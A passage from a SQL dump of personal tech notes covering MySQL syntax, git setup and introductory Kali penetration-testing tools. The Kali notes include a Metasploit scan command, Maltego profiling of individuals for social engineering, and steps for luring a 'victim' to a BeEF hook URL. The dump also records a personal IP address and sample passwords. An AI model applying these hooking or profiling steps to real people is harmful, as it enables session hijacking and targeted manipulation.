mechanism for providing security and is not available in typical small business or home use router devices\n',NULL,NULL,'2015-02-07 06:36:13'),(160,'#metasploit #architecture','many libs are used to keep msf functioning, the most important is (part of the framework) REX(ruby extension) lib\nmsf_core lib extends rex',NULL,NULL,'2015-02-07 06:36:13'),(161,'#metasploit #interface','\n/usr/share/metasploit-framework/msfgui\n  for the gui of msf\n/usr/share/metasploit-framework/msfconsole   for the console of msf  they are right for kali-linux1.0.8 ',NULL,NULL,'2015-02-07 06:36:13'),(162,'#msf #save_to#db #db_nmap #scan',NULL,NULL,'msf > db_nmap 192.168.56.102','2015-02-07 06:36:13'),(163,'#mysql #create#procedure #basic',NULL,NULL,'\ndelimiter |\nCREATE PROCEDURE proc00()\nbegin\n...\nend|\n\ndo not do the creation of a procedure inside \\e of mysql','2015-02-07 06:36:13'),(164,'#mysql #procedure #proc #call',NULL,NULL,'call proc00()','2015-02-07 06:36:13'),(165,'#mysql #procedure #proc #parameter #argument #in',NULL,NULL,'\nCREATE PROCEDURE proc00 (IN param00 INT)\nbegin\n...\nend\n','2015-02-07 06:36:13'),(166,'#mysql #procedure #proc #parameter #argument#in #call',NULL,NULL,'call proc00(1)\nOR\nSET @var00 := 2;\ncall proc00(@var00)\n','2015-02-07 06:36:13'),(167,'#mysql #procedure #proc #parameter #argument',NULL,NULL,'\nCREATE PROCEDURE proc00 (IN param00 INT, OUT param01 int)\nbegin\n...\nend\n','2015-02-07 06:36:13'),(168,'#mysql #conf #activate#log',NULL,NULL,'edit:/etc/mysql/my.cnf, add\n  [mysql]\n  general_log_file        = /var/log/mysql/mysql.log\n  general_log             = 1\n','2015-02-07 06:36:13'),(169,'#definition #pen_testing','Penetration Testing goes beyond an assessment by evaluating identified vulnerabilities\nA Penetration Test would attempt to attack those vulnerabilities in the same manner as a malicious hacker to verify which vulnerabilities are genuine reducing the real list of system vulnerabilities\n\n\nPenetration Testing does not make networks more secure!\nPenetration Testing evaluates the effectiveness of existing security\nIf\nIf a customer does not have strong security then they will receive little value from Penetration Testing services ',NULL,NULL,'2015-02-07 06:36:13'),(170,'#ptes #terminology #methodology','The most common terminology defining the starting state is Black box testing, White box testing, or a blend between White and Black box testing known as Gray box testing\n\nBlack box assumes the Penetration Tester has no prior knowledge of the target\nStarting a Black box project requires a lot of reconnaissance\n\nWhite box is when a Penetration Tester has intimate knowledge about the system.\n\ngray box is between white and blackbox\n\nAn internal security group usually performs white box testing',NULL,NULL,'2015-02-07 06:36:13'),(171,'#git #add #remote#repo',NULL,'git remote add origin https://github.com/user/repo.git',NULL,'2015-02-07 06:36:13'),(172,'#git #version #check',NULL,'git --version',NULL,'2015-02-07 06:36:13'),(173,'#git #remote#repo #tip #ssh','\nedit: .git/config\n  change: url=https://MichaelDrogalis@github.com/derekerdmann/lunch_call.git\n  to:     url=ssh://git@github.com/derekerdmann/lunch_call.git\n',NULL,NULL,'2015-01-17 08:22:33'),(174,'#git #mail #add #global',NULL,NULL,'git config --global user.email \"your_email@youremail.com\"','2015-02-07 06:36:13'),(175,'#git #add #username #name #global',NULL,NULL,'git config --global user.name \"Firstname Lastname\"','2015-02-07 06:36:13'),(176,'#pentest #methodology#think_about','Definition of Target System(s)\n  the location on the network, types of systems, and business of those systems\n\nTimeframe of the testing\n  \nHow Targets Are Evaluated\n  What types of testing, exploitation are not permitted\n  Examples are; using social networking by pretending to be an employee\n\nTools and software\n\nnotified parties\n  may s1 should be informed about the test\n\nInitial Access Level\n  What type of information and access is provided prior to _kicking off_ the Penetration Test?\n\nDefinition of Target Space\n\nIdentification of Critical Operation Areas\n  which area should not be touched\n\nDeliverable:\n  What type of final report is expected?\n  Remediation expectations:\n\n',NULL,NULL,'2015-02-07 06:36:13'),(177,'#pastebinit #install',NULL,'apt-get install pastebinit',NULL,'2015-02-07 06:36:13'),(178,'#pastebinit #manual',NULL,'\npastebinit file00\nls -a | pastebinit\n  # do not do this next one: \n  # ls -a|pastebinit\n',NULL,'2015-02-07 06:36:13'),(179,'#kali #pentest -sec -introduction -basic -concepts -steps -reconnaissance -methodology','\nRegardless if the starting point is White, Black, or Gray box testing\n  there is a set of steps that should be followed \n\nReconnaissance\n  learn as much as possible about a target\'s environment\n  The more information you can identify about a target, the better chance you have to identify the easiest and fastest path to success.\n  Black box testing requires more reconnaissance than White box testing\n  can include researching a target\'s Internet footprint,\n\n  The deliverable of a reconnaissance assignment should include a list of all the assets being targeted\n\n  Kali Linux offers a category labeled Information Gathering that serves as a Reconnaissance resource\n  Tools include methods to research network, data center, wireless, and host systems\n\n  The following is the list of Reconnaissance goals:\n•	 Identify target(s)\n•	 Define applications and business use\n•	 Identify system types\n•	 Identify available ports\n•	 Identify running services\n•	 Passively social engineer information\n•	 Document findings\n\n\nTarget evaluation\n  next step is evaluating the target for vulnerabilities.\n\nExploitation\n  the hack\n\nPrivilege escalation\n  think about how to go higher in the hierarchy of the system\n\nMaintaining a foothold\n  think about how I could go back to this hacked_sys at next time\n\n\ndoing the report\n	write a report of your work\n',NULL,NULL,'2015-02-07 05:51:34'),(180,'#git #ssh #remote#repo',NULL,NULL,'\ncd ~/.ssh && ssh-keygen\n  to create a pub/private_ssh_key\ncat id_rsa.pub | xclip\n  or copy(ctrl_c) the public key created in ~/.ssh/\ngo in github.com, log_in\ngo to: settings(on right_up of ur profile)\n  ssh_key in the left_middle\n  click add_ssh_key\ncopy the id_rsa.pub \n  add title\n  copy it to key\n','2015-02-07 06:36:13'),(181,'#mysql #check #version',NULL,NULL,'mysql -h localhost -V\n  -h to determine the host\n  -V to tell that u want the version \n\n\ninside mysql\n	show variable like \'*version*\';\n	select version() ;\n','2015-02-07 06:36:13'),(182,'#kali #methodology #hack #steps #exo #phase #tool#category','\nreconnaissance\n  information gathering:\n    Tools range from identifying devices to protocols used\n  sniffing_spoofing tools\n\ntarget vulnerabilities\n  Vulnerability Analysis: \n\nexploitation\n  Web Applications\n  password attacks\n  exploitation tools\n\nescalading the hierarchy\n  password attacks\nfootholding\nreport\n\nnot yet done\n',NULL,NULL,'2015-02-07 06:36:13'),(183,'#irc #connect #server #freenode #irssi',NULL,'/connect irc.freenode.net',NULL,'2015-02-07 06:36:13'),(184,'#conky #intro #monit#sys #linux',NULL,NULL,'surveiller de nombreux paramètres systèmes (charge processeur, occupation mémoire, températures, vitesse ventilateurs, charge batterie, trafic réseau). ','2015-02-07 06:36:13'),(185,'#linux #bash #test#existance#folder #file #if',NULL,'test -e /path/file00 && echo \'file is there\' || echo \'missing file\'',NULL,'2015-02-07 06:36:13'),(186,'#pentest #sow #methodology','\nBefore you offer Penetration services, write a sow(statement of work)\n  will outlines the work you are going to perform \n',NULL,NULL,'2015-02-07 06:36:13'),(187,'#dradis #kali #intro #tool','Dradis is an open source framework for information _sharing_.\nDradis provides a centralized repository of information to keep track of:\n  what has been done and\n  still needs to be completed\n\nu can access dradis by running\n  dradis\n  and check at https://127.0.0.1:3004/\n\nfirstime u run dradis,\n  set up a passw for user::root\n',NULL,NULL,'2015-01-14 07:20:43'),(188,'default#port',NULL,NULL,'\nfrom: http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-en-4/ch-ports.html\n\n\nif not mentioned, then it can use udp and tcp \n\ndradis:127.0.0.1:3004\n13 	daytime 	Sends date and time to requesting host \n20 	ftp-data 	FTP data port \n21 	ftp 		File Transfer Protocol (FTP) port; sometimes used by File Service Protocol (FSP) \n22 	ssh 		Secure Shell (SSH) service \n23 	telnet 	The Telnet service\n25 	smtp 	Simple Mail Transfer Protocol (SMTP) \n42 	nameserver 	Internet Name Service \n43 	nicname 	WHOIS directory service \n49 	tacacs 	Terminal Access Controller Access Control System for TCP/IP based authentication and access \n53 	domain 	domain name services (such as BIND) \n63 	whois++ 	WHOIS++, extended WHOIS services \n69 	tftp 	Trivial File Transfer Protocol (TFTP) \n80 	http 	HyperText Transfer Protocol (HTTP) for World Wide Web (WWW) services\n88 	kerberos 	Kerberos network authentication system \n107 	rtelnet 	Remote Telnet \n109 	pop2 	Post Office Protocol version 2\n110 	pop3 	Post Office Protocol version 3 \n115 	sftp 	Secure File Transfer Protocol (SFTP) services \n123 	ntp 	Network Time Protocol (NTP) \n137 	netbios-ns 	NETBIOS Name Service used in Red Hat Enterprise Linux by Samba \n143 	imap 	Internet Message Access Protocol (IMAP)\n161 	snmp 	Simple Network Management Protocol (SNMP) \n174 	mailq 	MAILQ email transport queue \n194 	irc 	Internet Relay Chat (IRC) \n213 	ipx 	Internetwork Packet Exchange (IPX), a datagram protocol commonly used in Novell Netware environments\n220 	imap3 	Internet Message Access Protocol version 3 \n389 	ldap 	Lightweight Directory Access Protocol (LDAP) \n443 	https 	Secure Hypertext Transfer Protocol (HTTP) \n546 	dhcpv6-client 	Dynamic Host Configuration Protocol (DHCP) version 6 client\n547 	dhcpv6-server 	Dynamic Host Configuration Protocol (DHCP) version 6 Service \n565 	whoami 	whoami user ID listing \n631 	ipp 	Internet Printing Protocol (IPP) \n636 	ldaps 	Lightweight Directory Access Protocol over Secure Sockets Layer (LDAPS) \n873 	rsync 	rsync file transfer services \n992 	telnets 	Telnet over Secure Sockets Layer (TelnetS) \n993 	imaps 	Internet Message Access Protocol over Secure Sockets Layer (IMAPS) \n994 	ircs 	Internet Relay Chat over Secure Sockets Layer (IRCS) \n995 	pop3s 	Post Office Protocol version 3 over Secure Sockets Layer (POP3S) \ndradis:127.0.0.1:3004\n3306 	mysql 	MySQL database service \n\n15/tcp 	netstat 	Network Status (netstat) \n\ncheck more at: http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-en-4/ch-ports.html\n','2015-02-07 06:36:13'),(189,'socket','combination of software Port and IP address',NULL,NULL,'2015-02-07 06:36:13'),(190,'#ports #well-known #assigned #default ','Well known ports are from 0 to 1023(total 2^10=1024 ports)\nDefault port is a designated port for particular well-known service such as web server, mail server, ftp server etc. By default FTP uses 21 port, DNS uses 53 and Apache uses 80 port',NULL,NULL,'2015-02-07 06:36:13'),(191,'#protocol_number #prot_nb #number','Do not confuse protocol_number with port numbers\n   TCP protocol number:6\n   UDP protocol number:17 \n',NULL,NULL,'2015-02-07 06:36:13'),(192,'#port #samba','199',NULL,NULL,'2015-02-07 06:36:13'),(193,'#port #pop3s','995',NULL,NULL,'2015-02-07 06:36:13'),(194,'NFS(nfsd- rpc.nfsd- rpc- portmap)','2049',NULL,NULL,'2015-02-22 11:03:26'),(195,'#linux -ls -get-size *awk',NULL,'ls -nlh file00 | awk \'{print $5}\'',NULL,'2015-02-16 18:19:09'),(196,'#casefile #maltego #info#gathering #intro','to determine the relationships and real world links between hundreds of different types of information.\ncan be used in information gathering\n',NULL,NULL,'2015-01-21 03:09:07'),(197,'#casefile #maltego #info#gathering #execution#kali #tool','casefile\n  for casefile\n\nmaltego\n  for maltego',NULL,NULL,'2015-01-21 03:12:37'),(198,'#magictree #report #execution#kali #tool',NULL,NULL,'\nMagicTree is a Penetration Tester productivity tool designed for data consolidation, external command execution, and report generation\n','2015-01-14 07:20:43'),(199,'#mysql #create#user',NULL,NULL,'\nCREATE USER \'max\'@\'localhost\' IDENTIFIED BY \'maxisthebest\';\n  max peut se connecter au_a partir du localhost(l_ordi qui possede mysql)\nCREATE USER \'elodie\'@\'194.28.12.4\' IDENTIFIED BY \'ginko1\';\n  elodie ne peut pas se connecter sur localhost si @localhost diff de 194.28.12.4\nCREATE USER \'gabriel\'@\'arb.brab.net\' IDENTIFIED BY \'chinypower\';\n  a partir d_un @dns\nCREATE USER \'thibault\'@\'194.28.12.%\' IDENTIFIED BY \'basketball8\';\n  peut se connecter sur 194.168.12.2-3-4-....\nCREATE USER \'hannah\'@\'%\' IDENTIFIED BY \'looking4sun\';\n  peut se connecter a partir de _tout_ machine\n','2015-02-07 06:36:13'),(200,'#mysql #rename#user',NULL,NULL,'rename user \'user00\'@\'host00\' to \'user01\'@\'host01\' ;\n','2015-02-07 06:36:13'),(201,'#mysql #change#pass from#root #pwd #password',NULL,NULL,'set password for \'user00\'@\'192.164.1.%\' = password(\'pass00\') ;\n','2015-02-07 06:36:13'),(202,'#mysql #privilege #intro',NULL,NULL,'\nau debut, user00 sans privilege donc peut _rien_(select, insert, ...) faire, se connecte selmnt\n','2015-02-07 06:36:13'),(203,'#mysql #privilege #exemple',NULL,NULL,'\nGRANT SELECT,\n	UPDATE (nom, sexe, commentaires),\n	DELETE,\n	INSERT\nON elevage.Animal\nTO \'john\'@\'localhost\' IDENTIFIED BY \'exemple2012\';\n	action de john sur db(elevage)table(animal): \n		tt selecter\n		updater(nom, sexe, commentaires)\n		tt delete\n		tt insert\n','2015-02-07 06:36:13'),(204,'#mysql #privilege #exemple',NULL,NULL,'\ngrant all on table db00.* to \'user00\'@\'192.168.1.%\' identified by \'pass00\'\n','2015-02-07 06:36:13'),(205,'#mysql #date #now',NULL,NULL,'\nselect curdate() ;\nselect current_date() ;\nselect now() ;\nselect current_date ;\nselect curtime();\n\nselect now();\n  ret datetime\nselect date(now());\nselect time(now());\nselect day(now());\n  1 - 31\nselect dayofweek(now());\n  1 - 7\n  1: sunday\n  2: monday\n  6: friday\n  7: saturday\nselect weekday(now()) ;\n  0 - 6\n  0: sunday\n  1: mon\n  7: sunday\nselect dayname(now());\n  ret sunday | monday | ...\nselect dayofyear(now());\n  ret 1 - 366\n','2015-02-07 06:36:13'),(206,'#mysql #time #lang #langue #language',NULL,NULL,'\nset lc_time_names=\'fr_FR\'\n','2015-02-07 06:36:13'),(207,'#mysql #date #more_options #month',NULL,NULL,'\nselect monthname(now());\nselect year(now());\n\nselect hour(now());\nselect minute(now());\nselect second(now());\n\n','2015-02-07 06:36:13'),(208,'#mysql #date_format #format',NULL,NULL,'\nselect date_format(now(), \'le %W %e %M %Y\') ;\n	le Dimanche 16 Fevrier 2014\n  	%d Jour du mois (nombre à deux chiffres, de 00 à 31)\n	%W Nom du jour de la semaine\n	%a Nom du jour de la semaine en abrégé\n	%m Mois (nombre de deux chiffres, de 00 à 12)\n	%c Mois (nombre de un ou deux chiffres, de 0 à 12)\n	%M Nom du mois\n	%b Nom du mois en abrégé\n	%Y Année, sur quatre chiffres\n	%r Heure complète, format 12h (hh:mm:ss AM/PM)\n	%T Heure complète, format 24h (hh:mm:ss)\n	%H Heure sur deux chiffres et sur 24 heures (de 00 à 23)\n	%i Minutes (de 00 à 59)\n	%e Jour du mois (nombre à un ou deux chiffres, de 0 à 31)\n	%p AM/PM\n','2015-02-07 06:36:13'),(209,'#mysql #str_to_date #get_format',NULL,NULL,'\n\nSELECT STR_TO_DATE(\'11.21.2011\', GET_FORMAT(DATE, \'USA\')) ;\n  11.21.2011 is a date the get_format(date, ...)\n','2015-02-07 06:36:13'),(210,'#mysql #datediff #difference #date',NULL,NULL,'\nSELECT DATEDIFF(\'2011-12-25\',\'2011-11-10\') AS nb_jours;\n  out: 45','2015-02-07 06:36:13'),(211,'#mysql #timediff #difference #time',NULL,NULL,'\nSELECT TIMEDIFF(\'2011-12-25 21:34:55\',\'2011-11-10 04:54:44\') AS difftime;\n  out: 20:35:20','2015-02-07 06:36:13'),(212,'#mysql #date #interval',NULL,NULL,'\nselect now() + interval 4 day;\ninsert into table00(col00) values (now() + interval 4 day) ;\n\nselect now() + interval 4 hour;\nselect now() + interval 4 minute;\nselect now() + interval 4 month;\nselect now() + interval 4 year;\n\nremember that there is no \"s\" in:\n  hour\n  minute\n  month\n  ... ','2015-01-30 20:38:41'),(213,'#mysql #show#procedure',NULL,'SHOW PROCEDURE STATUS;',NULL,'2015-02-07 06:36:13'),(214,'#mysql #show#function',NULL,'SHOW FUNCTION STATUS;',NULL,'2015-02-07 06:36:13'),(215,'#mysql #drop#procedure #delete',NULL,NULL,'drop procedure if exists proc00\n  do not forget the \"s\" in \"if exists\"','2015-01-17 10:07:59'),(216,'#mysql #drop#function #delete',NULL,NULL,'drop function if exists\n  do not forget the \"s\" in \"if exists\"','2015-02-07 06:36:13'),(217,'#mysql #create#procedure #tip','do not do the creation of a procedure inside \\e of mysql',NULL,NULL,'2015-02-07 06:36:13'),(218,'#mysql #inquery #table #notes_tech',NULL,NULL,'select id_n_t, tiitle from notes_tech where tiitle like \'%mysql%\' and tiitle like \'%procedure%\' G','2015-02-07 06:36:13'),(219,'#mysql #show#db#all',NULL,'show databases;',NULL,'2015-02-07 06:36:13'),(220,'#mysql #show#table#all',NULL,'show tables;',NULL,'2015-02-07 06:36:13'),(221,'#mysql #timestamp #convert to#datetime #from_unixtime',NULL,NULL,'SELECT FROM_UNIXTIME(1325595287)','2015-02-07 06:36:13'),(222,'#firefox #addons #ads #adblock_edge','Adblock Edge is a fork of the Adblock Plus version 2.1.2 extension for blocking advertisements on the web.',NULL,NULL,'2015-02-07 06:36:13'),(223,'#mysql #datetime#convert_to#timestamp #from_unixtime #unix_timestamp',NULL,NULL,'SELECT UNIX_TIMESTAMP(\'2012-01-03 13:54:47\');\n','2015-02-07 06:36:13'),(224,'#mysql #convert#time#second #time_to_sec #sec_to_time',NULL,NULL,'select SEC_TO_TIME(102569), TIME_TO_SEC(\'01:00:30\');\n','2015-02-07 06:36:13'),(225,'#mysql #last #day#month',NULL,NULL,'select last_day(\'2012-02-03\'','2015-02-07 06:36:13'),(226,'#mysql #show#create#table',NULL,NULL,'show create table table00;\n  that_s show the cmd used to create the table00','2015-02-07 06:36:13'),(227,'#mysql #create#view',NULL,'create view v_name_view as select * from notes_tech where tiitle like \'%mysql%\'',NULL,'2015-02-03 14:03:59'),(228,'#mysql #create#view #replace',NULL,'create view or replace v_name_view as select * from notes_tech where tiitle like \'%mysql%\'',NULL,'2015-02-07 06:36:13'),(229,'#mysql #drop#view #delete',NULL,'drop view view00',NULL,'2015-02-07 06:36:13'),(230,'#mysql #show#view #list #all',NULL,'SHOW FULL TABLES IN db00 WHERE TABLE_TYPE LIKE \'VIEW\';',NULL,'2015-02-07 06:36:13'),(231,'#mysql #distinct',NULL,'select distinct col00 from table00 ;',NULL,'2015-02-07 06:36:13'),(232,'test',NULL,NULL,NULL,'2015-01-13 07:22:03'),(233,'#mysql #order_of#order_by#limit#offset','already in col::tiitle',NULL,NULL,'2015-01-13 07:36:28'),(234,'#mysql #select #where #like #elargir #extend',NULL,NULL,'\nselect * from table00 where col00 like \'%patt00%\';\n  -- then all lines with col00 in (xxxpatt00xxx) will be selected\n\nselect * from table00 where col00 like \'%patt00%patt01\';\n  -- then all lines with col00 in (xxxpatt00xxxpatt01) will be selected\n\nselect * from table00 where col00 like \'_patt00_\';\n  -- then all lines with col00 in (xpatt00x) will be selected\n  -- only one char\n\nselect * from table00 where col00 like \'_patt00_patt01\';\n  -- then all lines with col00 in (xpatt00Xpatt02) will be selected\n\n','2015-01-13 07:41:19'),(235,'#mysql #create#procedure #tip',NULL,NULL,'\ndelimiter |\ncreate procedure srch_table_name (in patt varchar(50)) \nbegin \n	set @real_patt=concat(\'%\', patt, \'%\'); \n		-- u shouldn\'t add \'\' inside the real_patt\n		-- this next one is wrong \n		-- set @real_patt=concat(\'\\\'%\', patt, \'%\\\'\');\n	select * from engl where keey like @real_patt ; \nend|\ndelimiter ;\n','2015-01-13 07:33:44'),(236,'#mysql #select #between #date #and',NULL,NULL,'\nSELECT * FROM table00 WHERE col00 BETWEEN \'2008-01-05\' AND \'2009-03-23\';\n','2015-01-13 07:53:10'),(237,'#mysql #sensitive#case #casse#sensible #select',NULL,NULL,'\nselect * from table00 where col00 like binary \'%patt00%\';\n','2015-01-13 07:49:27'),(238,'#mysql #not_like #like #select',NULL,NULL,'\nselect * from table00 where col00 not like \'%patt00%\';\n  it will select all lines _NOT_ containing patt00 in col00\n','2015-01-13 07:50:18'),(239,'#mysql #count #like #select',NULL,NULL,'\nselect count(id_n_t) from notes_tech where tiitle like \'%patt00%\'\n  it will count all lines which contains patt00\n','2015-01-13 07:56:27'),(240,'#mysql #select #in',NULL,NULL,'\nselect count(id_n_t) from notes_tech where col00 in (7, 1, 56, 74, 3);\n  it will pick lines with col00=7 1 56 ...\n','2015-01-13 07:58:13'),(241,'#mysql #dump #mysqldump #save#db',NULL,NULL,'\nmysqldump -u user00 -p --opt base00 > save00.sql # this is a cmd_linux\n  --opt		then the cmd is very fast to exe\n\nUSE nom_base;\nsource file00.sql;\n	# those prev 2 cmd are mysql_cmd, inside: mysql>\n# ifk, u should be in folder00 where file00.sql is in\n','2015-01-13 08:03:25'),(242,'#mysql #dump #restore#db',NULL,NULL,'\nmysql db00 < file00.sql # this is a cmd_linux\n','2015-01-13 08:05:39'),(243,'#mysql #conf #order','\nlinux\n	/etc/my.cnf\n	/etc/mysql/my.cnf\n	~/.my.cnf\nwindows\n	WINDIRmy.ini, \n	WINDIRmy.cnf \n		echo %WINDIR% # to check what is WINDIR\n	-\n	C:my.ini ou C:my.cnf \n	-\n	INSTALLDIRmy.ini \n	ou \n	INSTALLDIRmy.cnf \n		INSTALLDIR est le dossier dans lequel MySQL a été installé.\n',NULL,NULL,'2015-01-13 08:37:15'),(244,'#mysql #create#table #insert#default#timestamp #datetime',NULL,NULL,'\ncreate table table00 (\n...\ncol00 timestamp default current_timestamp on update current_timestamp ;\n...\n','2015-02-18 19:48:18'),(245,'#mysql #trigger #intro',NULL,NULL,'\nAttachés à une table00\nil y a des instructions qui s\'exe tout seul qud:	\n	faire insert\n	faire update\n	faire delete\nsur table00\n\n__warning__: \nresult of select_query inside trigger00 must be set into var00 -- ex select * from table00; is not allowed\n  but this next_one is allowed:\n    select col00 into var00 from table00;\n\none event(ex: after insert on table00) for one trigger','2015-01-17 12:37:27'),(246,'#mysql #create#trigger #intro',NULL,NULL,'\ndelimiter |\nCREATE TRIGGER trigger00 \n[ after|before ] \n[ insert|update|delete ]\nON table00 FOR EACH ROW\nbegin\n...\nend |\ndelimiter ;\n\nex:\ndelimiter |\ncreate trigger after_insert_table00 after insert on table00 for each row\nbegin\n...\nend\n|\ndelimiter ;\n','2015-01-13 10:27:18'),(247,'#mysql #create#trigger #old #new',NULL,NULL,'\nOLD : représente les valeurs des colonnes de la ligne traitée avant qu\'elle ne soit modifiée par l\'événement déclencheur.\nNEW : représente les valeurs des colonnes de la ligne traitée après qu\'elle a été modifiée par l\'événement déclencheur.\n\n','2015-01-13 11:11:34'),(248,'#exe#linux#cmd_from#mysql',NULL,'mysql> \\! cmd_lin',NULL,'2015-01-13 12:38:45'),(249,'#col',NULL,'val',NULL,'2015-01-13 12:45:03'),(250,'#mysql #show#procedure#definition',NULL,'show create procedure proc00',NULL,'2015-01-13 12:55:10'),(251,'#mysql #warning no#apostrophe #procedure',NULL,NULL,'\ndelimiter |\ncreate procedure ins_nt_t_c(in tiitle00 text, in cmd00 text ) begin insert into notes_tech (tiitle, cmd) values (tiitle00, cmd00); end  \ndelimiter ;\n','2015-01-13 12:53:50'),(252,'#mysql #sum #select',NULL,NULL,'\nselect sum(col_int) from table00;','2015-01-13 13:04:08'),(253,'#mysql #index#add #alter',NULL,NULL,'alter table table00 add index (col00)\nalter table table00 add index ind_name(col00)','2015-01-13 13:11:33'),(254,'#mysql #index#drop #alter',NULL,NULL,'alter table table00 drop index (col00)\nalter table table00 drop index ind_name(col00)','2015-01-13 13:13:54'),(255,'#mysql #unique #alter',NULL,NULL,'alter table table00 add unique (col00)','2015-01-13 13:17:04'),(256,'#mysql #fulltext #index #intro #basis #theory','only in tables with engine_myisam\nindex to be applied only in col:varchar, char, text\n\nLorsque vous faites une recherche FULLTEXT sur une chaîne de caractères, cette chaîne est découpée en mots\nmot = toute suite de caractères composée de lettres, chiffres, tirets bas _ et apostrophes\n  porte-clees = 2mots\n\nsi col00 est index(fulltext)\n	table00 doit avoir au moins 3lg\n	faire rech dans col00, alors:\n	  les mots trop courts (moins de quatre lettres) sont ignorés ;\n	  et les mots trop communs (en anglais, about, after, once, under, the...) ne sont également pas pris en compte.\n\nil y a 3 types de _recherche_ pour les col_ind_fulltext:\n	Recherche naturelle\n		un seule coincide, et hop, dans resultat\n		#mysql #fulltext #index #select #match#against #in#natural#language#mode\n	Recherche avec booléens\n		not yet done\n	Recherche avec extension de requête\n\nnot yet done\n',NULL,NULL,'2015-01-13 13:58:26'),(257,'#mysql #alter#table #change#engine',NULL,NULL,'alter table table00 engine = myisam','2015-01-13 15:20:39'),(258,'#mysql #query #replace_in#string',NULL,NULL,'UPDATE table00 SET col00 = REPLACE (col00, \'SearchForThis\', \'ReplaceWithThis\') where id_col > 1','2015-01-13 15:25:18'),(259,'#mysql #show#index #list #all',NULL,NULL,'show index from table00;','2015-01-13 15:27:33'),(260,'#mysql #check#status',NULL,NULL,'mysql> status','2015-01-13 15:30:13'),(261,'#mysql #create#table #fk #foreign#key #jointure',NULL,NULL,'\nto make in relation table00 and table01\n\ncreate table table00(\n...\nconstraint foreign key(col_in_table00) references table01(col_in_table01)\n...\n);\n #relation','2015-01-13 17:24:42'),(262,'#mysql #select #jointure #relation',NULL,NULL,'\nrelation:\n	table00(col00) to table01(col00)\n\nselect * from table00 inner join table01 on table00.col00=table01.col00 where table00.col00a=34;\n','2015-01-13 17:31:59'),(263,'#mysql #select #jointure #interne#externe #basic #theory',NULL,NULL,'\nSELECT * FROM A INNER JOIN B ON A.a = B.b\nCeci retournera uniquement les lignes pour lesquelles A.a et B.b correspondent.\n\nexterne, comme interne mais:\n  	permet de sélectionner également les lignes pour lesquelles il n\'y a pas de correspondance dans une des tables jointes\n	deux types de jointures externes \n		jointures par la gauche \n			par: LEFT JOIN ou LEFT OUTER JOIN\n			on veut toutes les lignes de la table de gauche \n				même si certaines n\'ont pas de correspondance avec une ligne de la table de droite\n\n		jointures par la droite \n\n	evince -p 104 464494-administrez-vos-bases-de-donnees-avec-mysql.pdf\n','2015-01-13 19:24:59'),(264,'#vimperator #basic #tab #next#prev',NULL,NULL,'gt: got to next\ngT: go to prev tab','2015-01-14 06:11:04'),(265,'#vimperator #basic #history #next#prev',NULL,NULL,'<C-o>: go back in the history of the curr_tab\n<C-i>: go forward in the history of the current_tab','2015-01-14 06:15:15'),(266,'#vimperator #basic #open#url in #other_tab',NULL,NULL,':tabopen url.com\nOR\nturl.com','2015-01-14 06:17:36'),(267,'#vimperator #basic #open#url in #current_tab',NULL,NULL,':open url.com\nOR\nourl.com','2015-01-14 06:16:55'),(268,'#webcam #block #modprobe',NULL,NULL,'modprobe -r uvcvideo\n  -r is used to remove the module\n  the module name is \"uvcvideo\",\n  modprobe -a uvcvideo \"to add the module\"','2015-01-19 18:59:39'),(269,'#webcam #block #modprobe',NULL,NULL,'\nedit:/etc/modprobe.d/blacklist.conf\nadd:\n  blacklist uvcvideo\n\nhttp://askubuntu.com/questions/166809/how-can-i-disable-my-webcam\nhttps://answers.yahoo.com/question/index?qid=20120727182612AAfYgGs','2015-01-19 18:59:39'),(270,'#linux #add#remove#module #modprobe #charge#decharge',NULL,NULL,'\nmodprobe -a mod00\n  to add it\nmodprobe -r mod00\n  to rm it\n\nto rm it permanently\n  vi /etc/modprobe.d/blacklist.conf\n  add:\n    blacklist uvcvideo\n','2015-01-14 10:18:38'),(271,'#kali #waybackmachine #methodology #robot #site#info#gathering','\nsite00.com/robots.txt\n  will show what are disallowed for visiting\n\nto get how looked like the site00.com many years before:\nto see the evolution of the site00.com\n	got at \n		www.archive.org\n		https://web.archive.org/web/*/http://www.site00.com\n',NULL,NULL,'2015-01-14 10:54:58'),(272,'#tuto #info#gathering #byme','\ntake a website: site00.com\n	ping www.site00.com\n		to get the ip00 of site00.com\n	whois ip00\n		to get many info about site00.com\n #warning: this next one is to not do:\n  whois www.site00.com',NULL,NULL,'2015-01-14 11:43:47'),(273,'#myip',' 41.204.110.74',NULL,NULL,'2015-01-14 11:45:20'),(274,'#myip by#arin.net',' 41.204.110.74',NULL,NULL,'2015-01-14 11:46:34'),(275,'#tool #sec #payant #linux #kali #pentest #nessus not#free','\nnessus est un outil de sécurité informatique.\n	signale les faiblesses potentielles ou avérées du matériel testé (machines, équipement réseau).\n	capable de scanner un équipement (machine ou matériel réseau), un ensemble d\'équipements (à partir d\'un fichier ou d\'une plage IP) ou encore un réseau entier.\n 	Le résultat du scan fournira :\n 		la liste des vulnérabilités par niveaux de criticité,\n		une description des vulnérabilités,\n		et surtout la méthode ou un lien pour solutionner le problème.\n	\n	  	/srv/mmedia/pic/Nessus-Google-Chrome_2012-03-20_19-01-57.png \n    (http://www.nessus.org/download/). ',NULL,NULL,'2015-01-14 12:11:22'),(276,'#tool #kali #pentest #maltego','Maltego can comb popular social media, public records, and job recruiting websites to fingerprint an individual based on limited information\n',NULL,NULL,'2015-01-14 12:21:21'),(277,'#tool #kali #pentest #maltego #methodology','Maltego can comb popular social media, public records, and job recruiting websites to fingerprint an individual based on limited information\n  A researcher could gather information such as everywhere an individual has lived,\n	one business, people with which they socialize, special interests, favorite sport\nteams, and other useful data for future research and social engineering attack',NULL,NULL,'2015-01-14 12:23:41'),(278,'#beef #tool #kali #intro #pentest','\nBeEF is a browser-based exploit package that \"hooks\" one or more\n	browsers as beachheads for launching attacks. A user can be hooked by accessing a\n	customized URL and continue to see typical web traffic, while an attacker has access\n	to the user\'s session.\n\n',NULL,NULL,'2015-01-14 12:51:37'),(279,'#beef #tool #kali #intro #pentest','ifk: beef is useful while pentester has access to the user_s session',NULL,NULL,'2015-01-14 12:52:06'),(280,'#beef #tool #kali #intro #pentest','BeEF bypasses network security appliances and host–based, anti-virus applications by targeting the vulnerabilities found in common browsers, such as ff and ie',NULL,NULL,'2015-01-14 12:53:56'),(281,'#kali #tool #beef #run#server #tuto','\ncd /usr/share/beef-xss\n./beef\n',NULL,NULL,'2015-01-14 13:28:54'),(282,'#kali #tool #beef #methodology','\nu need to redirect the victim into ur beef_url_hook(in_running_server: http://127.0.0.1:3000/hook.js) 